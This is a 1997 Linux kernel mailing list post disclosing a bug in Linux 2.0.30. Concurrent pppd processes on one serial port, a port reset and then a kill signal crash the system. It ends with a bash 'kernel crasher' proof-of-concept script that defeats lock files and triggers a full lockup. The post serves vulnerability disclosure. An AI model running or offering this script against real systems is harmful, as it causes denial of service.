Messages in this thread | | | Date | Sun, 1 Jun 1997 18:32:46 -0700 | From | (Matthew Ghio) | Subject | pppd crashes Linux 2.0.30 kernel |
| |
A bug exists in Linux 2.0.30, and likely other versions, which can result in a kernel crash when more than one pppd process attempt to access the same serial port. If dip or pppd is setuid root, this opens the possibility of a denial-of-service attack. The bug has been observed when running automated dialing scripts and two processes attempt to use the same modem at the same time.
Specifically, the bug occurs when a pppd process is running on a serial port and another process resets the port, setting the port speed to zero. This has no immediately apparent effect, but sending a kill signal to the pppd process will result in a system crash. Usually lock files in /var/lock will prevent this situation, however the locking mechanism can fail when the same serial port has different names (such as /dev/modem being linked to /dev/ttyS1).
The following script demonstrates the bug by running two pppd processes then launching and terminating dip. This resulted in a complete lockup on my system (no oops or kernel panic) as soon as the last line was executed.
#!/bin/bash
# Linux ppp-bug kernel crasher script
fuser /dev/ttyS1|awk -F: '{print $2}'|xargs kill rm /var/lock/LCK..ttyS1& sleep 2
(echo "port ttyS1";\ echo "reset";\ echo "wait 1";\ echo "";\ sleep 15;\ )|/usr/sbin/dip -tv &
sleep 4 rm /var/lock/LCK..ttyS1& sleep 4 pppd silent debug modem crtscts ttyS1 38400 sleep 4 killall -INT dip sleep 15 rm /var/lock/LCK..ttyS1& sleep 1 (echo "port ttyS1";\ echo "send \r";\ echo "wait 1";\ echo "";\ sleep 15;\ )|/usr/sbin/dip -tv &
sleep 4 rm /var/lock/LCK..ttyS1& sleep 4 pppd silent debug modem crtscts ttyS1 38400 killall -INT dip
sleep 10 killall pppd sleep 1 killall pppd
# * BOOM * #
| |